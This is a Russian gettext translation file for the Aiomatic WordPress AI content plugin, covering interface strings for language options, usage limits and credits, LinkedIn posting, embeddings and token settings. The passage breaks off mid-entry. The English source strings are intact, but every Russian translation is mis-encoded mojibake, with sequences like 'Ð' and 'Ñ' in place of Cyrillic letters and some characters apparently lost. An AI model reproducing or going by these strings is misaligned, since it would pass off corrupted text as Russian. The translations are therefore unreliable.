"ЛатышÑкий (переводчик Google)" #: res/image-seo/seo-panel.php:94 msgid "Learn how to describe the purpose of the image" msgstr "ÐаучитеÑÑŒ опиÑывать цель изображениÑ" #: res/other/plugin-dash.php:74 res/other/plugin-dash.php:180 msgid "Learn more" msgstr "Подробнее" #: res/image-seo/seo-panel.php:94 msgid "Leave empty if the image is purely decorative." msgstr "ОÑтавьте пуÑтым, еÑли изображение чиÑто декоративное." #: res/aiomatic-main.php:3601 msgid "Left" msgstr "Левый" #: res/aiomatic-embeddings.php:47 msgid "" "Lets say you would like to give your AI the ability to answer specific " "questions about your website content, company, product or anything else, but " "you don't want to go through the process of training your own AI model. In " "this case, the Embeddings feature is what you will need. Simply specify your " "statements in the Embeddings section of the plugin and they will be also " "sent to the AI content writer, when needed." msgstr "" "ДопуÑтим, вы хотели бы дать Ñвоему AI возможноÑÑ‚ÑŒ отвечать на конкретные " "вопроÑÑ‹ о контенте вашего веб-Ñайта, компании, продукте или о чем-то еще, но " "вы не хотите проходить процеÑÑ Ð¾Ð±ÑƒÑ‡ÐµÐ½Ð¸Ñ ÑобÑтвенной модели AI. Ð’ Ñтом Ñлучае " "вам понадобитÑÑ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ \"Ð’ÑтраиваниÑ\". ПроÑто укажите Ñвои ÑƒÑ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ Ð² " "Разделе Плагина \"Ð’ÑтраиваниÑ\", и они также будут отправлены AI Создателю " "Контента , когда Ñто необходимо." #: res/aiomatic-training.php:55 msgid "" "Lets say you would like to train your AI to answer specific questions about " "your website content, company, product or anything else. You can achieve " "this by fine-tuning a model using your own data! Please note, this process " "requires a lot of effort. Preparing a high quality data is the key here. And " "you need to do a lot of testing to achieve best results!" msgstr "" "ДопуÑтим, вы хотите обучить Ñвой AI отвечать на конкретные вопроÑÑ‹ о " "Ñодержании вашего веб-Ñайта, компании, продукте или о чем-то еще. Ð’Ñ‹ можете " "добитьÑÑ Ñтого, наÑтроив модель, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñвои ÑобÑтвенные данные! Обратите " "внимание, Ñтот процеÑÑ Ñ‚Ñ€ÐµÐ±ÑƒÐµÑ‚ больших уÑилий. Ключевым здеÑÑŒ ÑвлÑетÑÑ " "подготовка выÑококачеÑтвенных данных. И вам нужно Ñделать много теÑтов, " "чтобы добитьÑÑ Ð½Ð°Ð¸Ð»ÑƒÑ‡ÑˆÐ¸Ñ… результатов!" #: res/aiomatic-main.php:1681 msgid "License Type:" msgstr "Тип Лицензии:" #: res/aiomatic-spinner-list.php:2923 msgid "Limit AI Generated Meta Description Character Count:" msgstr "Ограничить количеÑтво Ñимволов мета-опиÑаниÑ, генерируемого AI:" #: res/aiomatic-chatbot.php:2129 msgid "Limit PDF Character Count:" msgstr "Ограничение количеÑтва Ñимволов в PDF:" #: res/aiomatic-chatbot.php:2113 msgid "Limit PDF Page Count:" msgstr "Ограничение количеÑтва Ñтраниц в PDF:" #: res/aiomatic-chatbot.php:634 msgid "Limitations" msgstr "ОграничениÑ" #: aiomatic-automatic-ai-content-writer.php:1364 #: res/aiomatic-limits-statistics.php:449 msgid "Limits & Statistics" msgstr "Лимиты и ÑтатиÑтика" #: res/aiomatic-limits-statistics.php:456 msgid "Limits & Statistics Settings" msgstr "ÐаÑтройки лимитов и ÑтатиÑтики" #: res/aiomatic-limits-statistics.php:502 msgid "Limits and Statistics Tutorial Video" msgstr "Учебное видео по Лимитам и СтатиÑтике" #: res/StatisticsClass.php:501 msgid "Limits not available" msgstr "Лимиты недоÑтупны" #: res/aiomatic-main.php:2801 msgid "line-art" msgstr "штриховой риÑунок" #: res/aiomatic-amazon-list.php:123 res/aiomatic-review-list.php:123 #: res/aiomatic-rules-list.php:123 res/aiomatic-single-list.php:123 #: res/aiomatic-single-list.php:261 res/aiomatic-youtube-list.php:123 msgid "Lingala" msgstr "Лингала" #: res/aiomatic-languages.php:124 msgid "Lingala (Google Translate)" msgstr "Лингала (Переводчик Google)" #: res/aiomatic-amazon-list.php:1981 res/aiomatic-amazon-list.php:4573 #: res/aiomatic-csv-list.php:430 res/aiomatic-csv-list.php:1576 #: res/aiomatic-review-list.php:2050 res/aiomatic-review-list.php:4726 #: res/aiomatic-rules-list.php:2179 res/aiomatic-rules-list.php:4962 #: res/aiomatic-youtube-list.php:1952 res/aiomatic-youtube-list.php:4501 msgid "Link" msgstr "СÑылку" #: res/aiomatic-main.php:37 msgid "Link Keywords" msgstr "Ключевые Слова Ð´Ð»Ñ Ð¡Ñылок" #: res/aiomatic-main.php:9224 msgid "Link to Add" msgstr "СÑылка Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ" #: aiomatic-automation.php:1017 msgid "LinkedIn Post Description" msgstr "ОпиÑание публикации в LinkedIn" #: aiomatic-automation.php:1037 msgid "LinkedIn Post Image URL" msgstr "URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ð¸ в LinkedIn" #: aiomatic-automation.php:1010 msgid "LinkedIn Post Link" msgstr "СÑылка на ПоÑÑ‚ в LinkedIn" #: aiomatic-automation.php:1030 msgid "LinkedIn Post Template" msgstr "Шаблон ПоÑта LinkedIn" #: aiomatic-automation.php:1003 msgid "LinkedIn Post Title" msgstr "Заголовок ПоÑта в LinkedIn" #: aiomatic-helpers.php:438 msgid "Linkedinomatic Post Generator" msgstr "Генератор поÑтов Linkedinomatic" #: res/aiomatic-shortcodes.php:104 msgid "List AI Forms" msgstr "СпиÑок Форм AI" #: res/aiomatic-main.php:9043 msgid "List of Possible Variables:" msgstr "СпиÑок возможных переменных:" #: res/aiomatic-amazon-list.php:37 res/aiomatic-review-list.php:37 #: res/aiomatic-rules-list.php:37 res/aiomatic-single-list.php:37 #: res/aiomatic-single-list.php:175 res/aiomatic-youtube-list.php:37 msgid "Lithuanian" msgstr "ЛитовÑкий Ñзык" #: res/aiomatic-languages.php:36 msgid "Lithuanian (Google Translate)" msgstr "ЛитовÑкий (переводчик Google)" #: aiomatic-automation.php:586 msgid "Load File Content" msgstr "Загрузить контент файла" #: res/aiomatic-training.php:203 msgid "Load From File" msgstr "Загрузить из файла" #: res/aiomatic-logs.php:436 msgid "Loaded PHP Extensions" msgstr "Загруженные раÑÑˆÐ¸Ñ€ÐµÐ½Ð¸Ñ PHP" #: aiomatic-helpers.php:3660 msgid "Loading content..." msgstr "Загрузка контента..." #: res/aiomatic-images.php:24 res/aiomatic-images.php:30 msgid "Loading editor..." msgstr "Загрузка редактора..." #: res/aiomatic-automation-list.php:111 res/aiomatic-automation-list.php:131 msgid "Loading..." msgstr "Загрузка..." #: res/aiomatic-amazon-list.php:4785 res/aiomatic-automation-list.php:7478 #: res/aiomatic-csv-list.php:1889 res/aiomatic-review-list.php:4938 #: res/aiomatic-rules-list.php:5175 res/aiomatic-youtube-list.php:4713 msgid "Local Time: " msgstr "МеÑтное времÑ: " #: res/aiomatic-spinner-list.php:3759 msgid "Locally To Server" msgstr "Локально на Ñервер" #: res/aiomatic-automation-list.php:2240 msgid "Location" msgstr "МеÑтоположение" #: res/aiomatic-logs.php:632 msgid "Log empty" msgstr "Вход пуÑÑ‚" #: res/aiomatic-main.php:2806 msgid "low-poly" msgstr "низкополигональный" #: res/aiomatic-main.php:2541 msgid "" "Lower values generally result in less motion in the output video, while " "higher values generally result in more motion. This parameter corresponds to " "the motion_bucket_id parameter from the paper." msgstr "" "Меньшие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¾Ð±Ñ‹Ñ‡Ð½Ð¾ приводÑÑ‚ к меньшему количеÑтву Ð´Ð²Ð¸Ð¶ÐµÐ½Ð¸Ñ Ð² выходном " "видео, а большие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ - к большему. Этот параметр ÑоответÑтвует " "параметру motion_bucket_id из Ñтатьи." #: res/aiomatic-amazon-list.php:124 res/aiomatic-review-list.php:124 #: res/aiomatic-rules-list.php:124 res/aiomatic-single-list.php:124 #: res/aiomatic-single-list.php:262 res/aiomatic-youtube-list.php:124 msgid "Luganda" msgstr "Луганда" #: res/aiomatic-languages.php:125 msgid "Luganda (Google Translate)" msgstr "Луганда (Переводчик Google)" #: res/aiomatic-amazon-list.php:88 res/aiomatic-review-list.php:88 #: res/aiomatic-rules-list.php:88 res/aiomatic-single-list.php:88 #: res/aiomatic-single-list.php:226 res/aiomatic-youtube-list.php:88 msgid "Luxembourgish" msgstr "ЛюкÑембургÑкий" #: res/aiomatic-languages.php:88 msgid "Luxembourgish (Google Translate)" msgstr "ЛюкÑембургÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:39 res/aiomatic-review-list.php:39 #: res/aiomatic-rules-list.php:39 res/aiomatic-single-list.php:39 #: res/aiomatic-single-list.php:177 res/aiomatic-youtube-list.php:39 msgid "Macedonian" msgstr "македонÑкий" #: res/aiomatic-languages.php:38 msgid "Macedonian (Google Translate)" msgstr "МакедонÑкий (переводчик Google)" #: res/aiomatic-main.php:1754 msgid "Main AI API Settings:" msgstr "ОÑновные наÑтройки AI API:" #: res/aiomatic-main.php:1765 #| msgid "GPT API Service Provider Selector:" msgid "Main API Service Provider Selector:" msgstr "Выбор оÑновного поÑтавщика уÑлуг API:" #: aiomatic-automatic-ai-content-writer.php:13985 #: aiomatic-automatic-ai-content-writer.php:13995 #: aiomatic-automatic-ai-content-writer.php:13996 #: aiomatic-automatic-ai-content-writer.php:13997 #: aiomatic-automatic-ai-content-writer.php:14001 #: aiomatic-automatic-ai-content-writer.php:14547 #: res/aiomatic-automation-list.php:1354 res/aiomatic-automation-list.php:1363 #: res/aiomatic-automation-list.php:1364 res/aiomatic-automation-list.php:1365 #: res/aiomatic-automation-list.php:1369 res/aiomatic-automation-list.php:1911 #: res/aiomatic-automation-list.php:3821 res/aiomatic-automation-list.php:3830 #: res/aiomatic-automation-list.php:3831 res/aiomatic-automation-list.php:3832 #: res/aiomatic-automation-list.php:3836 res/aiomatic-automation-list.php:4378 #: res/aiomatic-automation-list.php:6577 res/aiomatic-automation-list.php:6587 #: res/aiomatic-automation-list.php:6588 res/aiomatic-automation-list.php:6589 #: res/aiomatic-automation-list.php:6593 res/aiomatic-automation-list.php:7139 msgid "Main keyword shortcode" msgstr "Короткий код оÑновного ключевого Ñлова" #: aiomatic-automatic-ai-content-writer.php:1302 res/aiomatic-main.php:11 msgid "Main Settings" msgstr "Главные ÐаÑтройки" #: res/aiomatic-main.php:1633 msgid "Main Switch:" msgstr "Главный переключатель:" #: res/aiomatic-logs.php:54 msgid "Maintenance" msgstr "Тех. Работы" #: res/aiomatic-amazon-list.php:125 res/aiomatic-review-list.php:125 #: res/aiomatic-rules-list.php:125 res/aiomatic-single-list.php:125 #: res/aiomatic-single-list.php:263 res/aiomatic-youtube-list.php:125 msgid "Maithili" msgstr "Майтхили" #: res/aiomatic-languages.php:126 msgid "Maithili (Google Translate)" msgstr "Майтхили (Переводчик Google)" #: res/aiomatic-main.php:9128 msgid "Make Search Case Sensitive:" msgstr "Сделайте поиÑк чувÑтвительным к региÑтру:" #: res/aiomatic-amazon-list.php:89 res/aiomatic-review-list.php:89 #: res/aiomatic-rules-list.php:89 res/aiomatic-single-list.php:89 #: res/aiomatic-single-list.php:227 res/aiomatic-youtube-list.php:89 msgid "Malagasy" msgstr "МалагаÑийÑкий" #: res/aiomatic-languages.php:89 msgid "Malagasy (Google Translate)" msgstr "МалагаÑийÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:40 res/aiomatic-review-list.php:40 #: res/aiomatic-rules-list.php:40 res/aiomatic-single-list.php:40 #: res/aiomatic-single-list.php:178 res/aiomatic-youtube-list.php:40 msgid "Malay" msgstr "МалайÑкий" #: res/aiomatic-languages.php:39 msgid "Malay (Google Translate)" msgstr "МалайÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:90 res/aiomatic-review-list.php:90 #: res/aiomatic-rules-list.php:90 res/aiomatic-single-list.php:90 #: res/aiomatic-single-list.php:228 res/aiomatic-youtube-list.php:90 msgid "Malayalam" msgstr "МалаÑлам" #: res/aiomatic-languages.php:90 msgid "Malayalam (Google Translate)" msgstr "МалаÑлам (переводчик Google)" #: res/aiomatic-amazon-list.php:41 res/aiomatic-review-list.php:41 #: res/aiomatic-rules-list.php:41 res/aiomatic-single-list.php:41 #: res/aiomatic-single-list.php:179 res/aiomatic-youtube-list.php:41 msgid "Maltese" msgstr "МальтийÑкий" #: res/aiomatic-languages.php:40 msgid "Maltese (Google Translate)" msgstr "МальтийÑкий (переводчик Google)" #: res/aiomatic-assistants.php:183 res/aiomatic-automation-list.php:2246 #: res/aiomatic-automation-list.php:2362 res/aiomatic-chatbot.php:2312 #: res/aiomatic-embeddings.php:106 res/aiomatic-embeddings.php:127 #: res/aiomatic-shortcodes.php:526 msgid "Manage" msgstr "УправлÑÑ‚ÑŒ" #: aiomatic-automatic-ai-content-writer.php:12827 #: res/aiomatic-automation-list.php:2662 res/aiomatic-automation-list.php:5408 msgid "Manage AI OmniBlocks" msgstr "Управление AI OmniBlocks" #: res/aiomatic-assistants.php:52 msgid "Manage Assistant Files" msgstr "Управление файлами аÑÑиÑтента" #: res/aiomatic-assistants.php:51 msgid "Manage Assistants" msgstr "Управление аÑÑиÑтентами" #: res/aiomatic-assistants.php:129 msgid "Manage Assistants:" msgstr "Управление аÑÑиÑтентами:" #: res/aiomatic-chatbot.php:2270 msgid "Manage Chatbot Personas:" msgstr "Управление перÑонажами чат-бота:" #: res/aiomatic-automation-list.php:2173 msgid "Manage OmniBlock Files:" msgstr "Управление файлами OmniBlock:" #: res/aiomatic-automation-list.php:2323 msgid "Manage OmniBlock Templates:" msgstr "Управление шаблонами OmniBlock:" #: res/aiomatic-assistants.php:109 msgid "Manage Uploaded Assistant Files" msgstr "Управление загруженными файлами помощника" #: res/aiomatic-rules-list.php:1346 res/aiomatic-rules-list.php:4091 #: res/aiomatic-single-list.php:2785 msgid "Manual Headings and Images List" msgstr "Ручной ÑпиÑок Заголовоков и изображений" #: res/aiomatic-amazon-list.php:1226 res/aiomatic-amazon-list.php:3768 #: res/aiomatic-csv-list.php:580 res/aiomatic-csv-list.php:1739 #: res/aiomatic-review-list.php:1295 res/aiomatic-review-list.php:3921 #: res/aiomatic-rules-list.php:1428 res/aiomatic-rules-list.php:4169 #: res/aiomatic-single-list.php:1235 res/aiomatic-single-list.php:2132 #: res/aiomatic-single-list.php:2867 res/aiomatic-single-list.php:4120 #: res/aiomatic-single-list.php:5434 res/aiomatic-single-list.php:6800 #: res/aiomatic-spinner-list.php:2115 res/aiomatic-youtube-list.php:1182 #: res/aiomatic-youtube-list.php:3679 msgid "Manual Links" msgstr "Ручные СÑылки" #: res/aiomatic-rules-list.php:4098 msgid "Manual List Of Headings" msgstr "Ручной ÑпиÑок Заголовоков" #: res/aiomatic-rules-list.php:1357 res/aiomatic-single-list.php:2796 msgid "Manual List Of Headings:" msgstr "Ручной ÑпиÑок Заголовоков:" #: res/aiomatic-rules-list.php:4111 msgid "Manual List Of Images" msgstr "Ручной ÑпиÑок изображений" #: res/aiomatic-rules-list.php:1371 res/aiomatic-single-list.php:2810 msgid "Manual List Of Images:" msgstr "Ручной ÑпиÑок изображений:" #: res/aiomatic-amazon-list.php:3794 res/aiomatic-csv-list.php:1765 #: res/aiomatic-review-list.php:3947 res/aiomatic-rules-list.php:4195 #: res/aiomatic-youtube-list.php:3705 msgid "Manual List Of URLs (One Per Line)" msgstr "Ручной ÑпиÑок URL-адреÑов (по одному в Ñтроке)" #: res/aiomatic-amazon-list.php:1255 res/aiomatic-csv-list.php:609 #: res/aiomatic-review-list.php:1324 res/aiomatic-rules-list.php:1457 #: res/aiomatic-single-list.php:1264 res/aiomatic-single-list.php:2161 #: res/aiomatic-single-list.php:2896 res/aiomatic-single-list.php:4149 #: res/aiomatic-single-list.php:5463 res/aiomatic-single-list.php:6829 #: res/aiomatic-spinner-list.php:2133 res/aiomatic-youtube-list.php:1211 msgid "Manual List Of URLs (One Per Line):" msgstr "Ручной ÑпиÑок URL-адреÑов (по одному в Ñтроке):" #: res/aiomatic-amazon-list.php:1665 res/aiomatic-amazon-list.php:4235 #: res/aiomatic-review-list.php:1734 res/aiomatic-review-list.php:4388 #: res/aiomatic-rules-list.php:1863 res/aiomatic-rules-list.php:4624 #: res/aiomatic-spinner-list.php:1408 res/aiomatic-youtube-list.php:1621 #: res/aiomatic-youtube-list.php:4146 msgid "Manual URL List" msgstr "СпиÑок URL-адреÑов вручную" #: aiomatic-automatic-ai-content-writer.php:1794 msgid "Manually Run AI Editing For This Post" msgstr "Вручную запуÑтите AI редактирование Ð´Ð»Ñ Ñтого ПоÑта" #: res/aiomatic-embeddings.php:216 res/aiomatic-spinner-list.php:4112 msgid "Manually Run Post Editing Now:" msgstr "Вручную запуÑтите Редактирование ПоÑтов ÑейчаÑ:" #: res/aiomatic-main.php:5463 msgid "Manually Run Taxonomy Description Writing Now:" msgstr "ЗапуÑк ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономии вручную. ЗапиÑÑŒ ÑейчаÑ:" #: res/aiomatic-main.php:5396 msgid "Manually Run Taxonomy Description Writing On:" msgstr "ЗапиÑÑŒ опиÑÐ°Ð½Ð¸Ñ Ñ‚Ð°ÐºÑономии вручную:" #: res/aiomatic-amazon-list.php:91 res/aiomatic-review-list.php:91 #: res/aiomatic-rules-list.php:91 res/aiomatic-single-list.php:91 #: res/aiomatic-single-list.php:229 res/aiomatic-youtube-list.php:91 msgid "Maori" msgstr "Маори" #: res/aiomatic-languages.php:91 msgid "Maori (Google Translate)" msgstr "Маори (переводчик Google)" #: res/aiomatic-amazon-list.php:92 res/aiomatic-review-list.php:92 #: res/aiomatic-rules-list.php:92 res/aiomatic-single-list.php:92 #: res/aiomatic-single-list.php:230 res/aiomatic-youtube-list.php:92 msgid "Marathi" msgstr "маратхи" #: res/aiomatic-languages.php:92 msgid "Marathi (Google Translate)" msgstr "Маратхи (переводчик Google)" #: res/aiomatic-main.php:9109 msgid "Match Also Partial Words:" msgstr "СопоÑтавьте также чаÑтичные Ñлова:" #: aiomatic-ajax-actions.php:7961 res/aiomatic-shortcodes.php:75 msgid "Max" msgstr "МакÑ." #: res/aiomatic-main.php:9280 res/aiomatic-main.php:9516 msgid "Max #" msgstr "ÐœÐ°ÐºÑ #" #: res/aiomatic-chatbot.php:2604 msgid "Max Chat Messages To Send As API Context:" msgstr "" "МакÑимальное количеÑтво Ñообщений чата Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ в качеÑтве контекÑта API:" #: res/aiomatic-limits-statistics.php:947 #: res/aiomatic-limits-statistics.php:1262 msgid "Max Guest Credits:" msgstr "МакÑимальное количеÑтво гоÑтевых кредитов:" #: aiomatic-automation.php:90 msgid "Max lines to process" msgstr "МакÑимальное количеÑтво Ñтрок Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸" #: res/aiomatic-amazon-list.php:3043 msgid "Max Number Of Products To Include" msgstr "МакÑимальное КоличеÑтво Продуктов Ð´Ð»Ñ Ð’ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ " #: res/aiomatic-amazon-list.php:464 res/aiomatic-single-list.php:4672 msgid "Max Number Of Products To Include:" msgstr "МакÑимальное КоличеÑтво Продуктов Ð´Ð»Ñ Ð’ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ:" #: res/aiomatic-amazon-list.php:3030 msgid "Max Price in Pennies" msgstr "МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñ†ÐµÐ½Ð° в пенни" #: res/aiomatic-amazon-list.php:449 res/aiomatic-single-list.php:4657 msgid "Max Price in Pennies:" msgstr "МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñ†ÐµÐ½Ð° в пенни:" #: aiomatic-ajax-actions.php:8126 aiomatic-shortcodes-file.php:579 #: res/aiomatic-shortcodes.php:314 msgid "Max Token Count" msgstr "МакÑимальное количеÑтво токенов" #: res/aiomatic-single-list.php:795 msgid "Max Tokens" msgstr "МакÑимальное количеÑтво токенов" #: res/aiomatic-limits-statistics.php:1424 msgid "Max User Credits" msgstr "МакÑимальное количеÑтво пользовательÑких кредитов" #: res/aiomatic-limits-statistics.php:816 #: res/aiomatic-limits-statistics.php:1088 msgid "Max User Credits:" msgstr "МакÑимальное количеÑтво пользовательÑких кредитов:" #: aiomatic-automation.php:222 aiomatic-automation.php:273 #: aiomatic-automation.php:343 msgid "Maximum # Of Characters To Keep" msgstr "МакÑимальное количеÑтво ÑохранÑемых Ñимволов" #: aiomatic-automation.php:254 aiomatic-automation.php:324 msgid "Maximum # Of Items To Process" msgstr "МакÑимальное количеÑтво Ñлементов Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸" #: res/aiomatic-spinner-list.php:1201 msgid "Maximum Character Chunk Size To Send To The AI Editor (Optional):" msgstr "" "МакÑимальный размер блока Ñимволов Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ в редактор AI (необÑзательно)" ":" #: res/aiomatic-amazon-list.php:4102 res/aiomatic-review-list.php:4255 #: res/aiomatic-rules-list.php:4503 res/aiomatic-youtube-list.php:4013 msgid "Maximum Continue Token Count To Use Per API Request" msgstr "" "МакÑимальное количеÑтво токенов Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð° Ð·Ð°Ð¿Ñ€Ð¾Ñ API" #: res/aiomatic-amazon-list.php:1538 res/aiomatic-review-list.php:1607 #: res/aiomatic-rules-list.php:1740 res/aiomatic-single-list.php:2974 #: res/aiomatic-single-list.php:4227 res/aiomatic-single-list.php:5541 #: res/aiomatic-single-list.php:6907 res/aiomatic-spinner-list.php:1794 #: res/aiomatic-youtube-list.php:1494 msgid "Maximum Continue Token Count To Use Per API Request:" msgstr "" "МакÑимальное количеÑтво токенов Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð° Ð·Ð°Ð¿Ñ€Ð¾Ñ API:" #: res/aiomatic-limits-statistics.php:952 #: res/aiomatic-limits-statistics.php:1267 msgid "Maximum Credits For Guests" msgstr "МакÑимальное количеÑтво кредитов Ð´Ð»Ñ Ð³Ð¾Ñтей" #: res/aiomatic-limits-statistics.php:821 #: res/aiomatic-limits-statistics.php:1093 msgid "Maximum Credits For Users" msgstr "МакÑимальное количеÑтво кредитов Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹" #: res/aiomatic-logs.php:398 msgid "Maximum execution time" msgstr "МакÑимальное Ð²Ñ€ÐµÐ¼Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ" #: res/aiomatic-main.php:8977 msgid "Maximum image height." msgstr "МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð²Ñ‹Ñота изображениÑ." #: res/aiomatic-main.php:8458 msgid "Maximum image width." msgstr "МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ ÑˆÐ¸Ñ€Ð¸Ð½Ð° изображениÑ." #: res/aiomatic-amazon-list.php:3783 res/aiomatic-csv-list.php:1754 #: res/aiomatic-review-list.php:3936 res/aiomatic-rules-list.php:4184 #: res/aiomatic-youtube-list.php:3694 #| msgid "Maximum Number Of Internal Links To Add To The Post Content" msgid "Maximum Number Of Automatic Links To Add To The Post Content" msgstr "" "МакÑимальное количеÑтво Внутренних СÑылок Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Контенту ПоÑта" #: res/aiomatic-amazon-list.php:1240 res/aiomatic-csv-list.php:594 #: res/aiomatic-review-list.php:1309 res/aiomatic-rules-list.php:1442 #: res/aiomatic-single-list.php:1249 res/aiomatic-single-list.php:2146 #: res/aiomatic-single-list.php:2881 res/aiomatic-single-list.php:4134 #: res/aiomatic-single-list.php:5448 res/aiomatic-single-list.php:6814 #: res/aiomatic-spinner-list.php:2087 res/aiomatic-youtube-list.php:1196 #| msgid "Maximum Number Of Internal Links To Add To The Post Content:" msgid "Maximum Number Of Automatic Links To Add To The Post Content:" msgstr "" "МакÑимальное количеÑтво Внутренних СÑылок Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Контенту ПоÑта:" #: res/aiomatic-spinner-list.php:2213 msgid "Maximum Number Of Categories To Add To The Post:" msgstr "МакÑимальное КоличеÑтво Категорий Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² ПоÑÑ‚:" #: res/aiomatic-spinner-list.php:2209 msgid "" "Maximum number of categories to add. You can also use value ranges, like: 3-" "5. The default value is 1-2" msgstr "" "МакÑимальное количеÑтво категорий Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ. Ð’Ñ‹ также можете " "иÑпользовать диапазоны значений, например: 3-5. Значение по умолчанию: 1-2." #: res/aiomatic-spinner-list.php:2592 #, php-format msgid "" "Maximum number of comments to add to the %%previous_comments%% shortcode, " "The default value is 5" msgstr "" "МакÑимальное количеÑтво комментариев Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Шорткоду " "%%previous_comments%%. Значение по умолчанию — 5." #: res/aiomatic-spinner-list.php:2562 msgid "Maximum Number Of Comments To Add To The Post:" msgstr "МакÑимальное количеÑтво Комментариев Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº ПоÑту:" #: res/aiomatic-spinner-list.php:2558 msgid "" "Maximum number of comments to add. You can also use value ranges, like: 3-5. " "The default value is 1-2" msgstr "" "МакÑимальное количеÑтво комментариев Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ. Ð’Ñ‹ также можете " "иÑпользовать диапазоны значений, например: 3-5. Значение по умолчанию: 1-2." #: res/aiomatic-spinner-list.php:1331 msgid "" "Maximum number of images that should be edited from the post content. This " "is a protection mechanism, to not allow the plugin to edit too many images " "from a single post's content. To disable this feature, leave it blank." msgstr "" "МакÑимальное количеÑтво изображений, которые должны быть отредактированы из " "контента поÑта. Это защитный механизм, не позволÑющий плагину редактировать " "Ñлишком много изображений из контента одного поÑта. Чтобы отключить Ñту " "функцию, оÑтавьте Ñто значение пуÑтым." #: res/aiomatic-spinner-list.php:1335 msgid "Maximum Number Of Images To Edit From A Single Post Content:" msgstr "" "МакÑимальное КоличеÑтво Изображений, которые можно редактировать в одном " "ПоÑте:" #: res/aiomatic-embeddings.php:248 res/aiomatic-spinner-list.php:4274 msgid "Maximum Number Of Posts To Process:" msgstr "МакÑимальное количеÑтво ПоÑтов Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸:" #: aiomatic-automation.php:462 msgid "Maximum Number Of Products To Query" msgstr "МакÑимальное КоличеÑтво Продуктов Ð´Ð»Ñ Ð—Ð°Ð¿Ñ€Ð¾Ñа" #: res/aiomatic-rules-list.php:4018 msgid "Maximum Number Of Related Headings to Add To The Content" msgstr "" "МакÑимальное количеÑтво ÑвÑзанных Заголовоков Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому" #: res/aiomatic-rules-list.php:1271 res/aiomatic-single-list.php:2710 #: res/aiomatic-spinner-list.php:1881 msgid "Maximum Number Of Related Headings to Add To The Content:" msgstr "" "МакÑимальное количеÑтво ÑвÑзанных Заголовоков Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому:" #: res/aiomatic-rules-list.php:4069 msgid "Maximum Number Of Related Images to Add To The Content" msgstr "" "МакÑимальное количеÑтво ÑвÑзанных изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому" #: res/aiomatic-rules-list.php:1324 res/aiomatic-single-list.php:2763 #: res/aiomatic-spinner-list.php:1988 msgid "Maximum Number Of Related Images to Add To The Content:" msgstr "" "МакÑимальное количеÑтво ÑвÑзанных изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому:" #: res/aiomatic-spinner-list.php:2388 msgid "Maximum Number Of Tags To Add To The Post:" msgstr "МакÑимальное КоличеÑтво Тегов Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº ПоÑту:" #: res/aiomatic-spinner-list.php:2384 msgid "" "Maximum number of tags to add. You can also use value ranges, like: 3-5. The " "default value is 1-2" msgstr "" "МакÑимальное КоличеÑтво Тегов Ð´Ð»Ñ 